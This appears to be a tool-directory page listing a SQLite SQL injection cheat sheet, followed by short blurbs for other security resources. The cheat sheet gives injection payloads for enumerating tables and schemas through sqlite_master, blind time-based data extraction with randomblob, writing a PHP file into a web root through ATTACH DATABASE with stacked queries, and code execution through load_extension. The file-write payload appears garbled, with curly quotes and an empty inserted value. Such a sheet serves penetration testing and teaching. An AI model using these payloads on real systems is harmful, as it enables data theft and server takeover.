SQLite SQL Injection Cheat Sheet Logo

SQLite SQL Injection Cheat Sheet

0
Free
Visit Website

If you need You use Concatenation || Comments -- Conditionals CASE WHEN key='value1' THEN 'something' WHEN key='value2' THEN 'somethingelse' Substring substr(string,start,stop) Length length(string) Quotes without literal quotes cast(X'27' as text) --use X'22' for double quotes Table name enumeration SELECT name FROM sqlite_master WHERE type='table' Table schema enumeration SELECT sql FROM sqlite_master WHERE type='table' Time-based data extraction cond='true' AND 1=randomblob(100000000) --causes time delay if cond='true' File writing 1';ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘’;-- --requires either direct database access or (non-default) stacked query option enabled Arbitrary Code Execution load_extension(library_file,entry_point) -- .dll for Windows, .so for 'nix. Requires non-default configuration

FEATURES

ALTERNATIVES

A collection of security vulnerabilities in regular expressions used in WAFs with a focus on bypass examples and high severity issues.

Learn about 'Admin Free' Active Directory and the significance of privileged groups in AD.

Find books at your favorite store and stay updated on new features with Universal Book Links.

An AI-powered career platform that automates the creation of cybersecurity job application materials and provides company-specific insights for job seekers.

Commercial

Free cyber security training and resources for career development.

Comprehensive documentation for ThreatConnect's REST API and SDKs.

A knowledge base of analytics developed by MITRE based on the MITRE ATT&CK adversary model.

Free online class for web security and hacking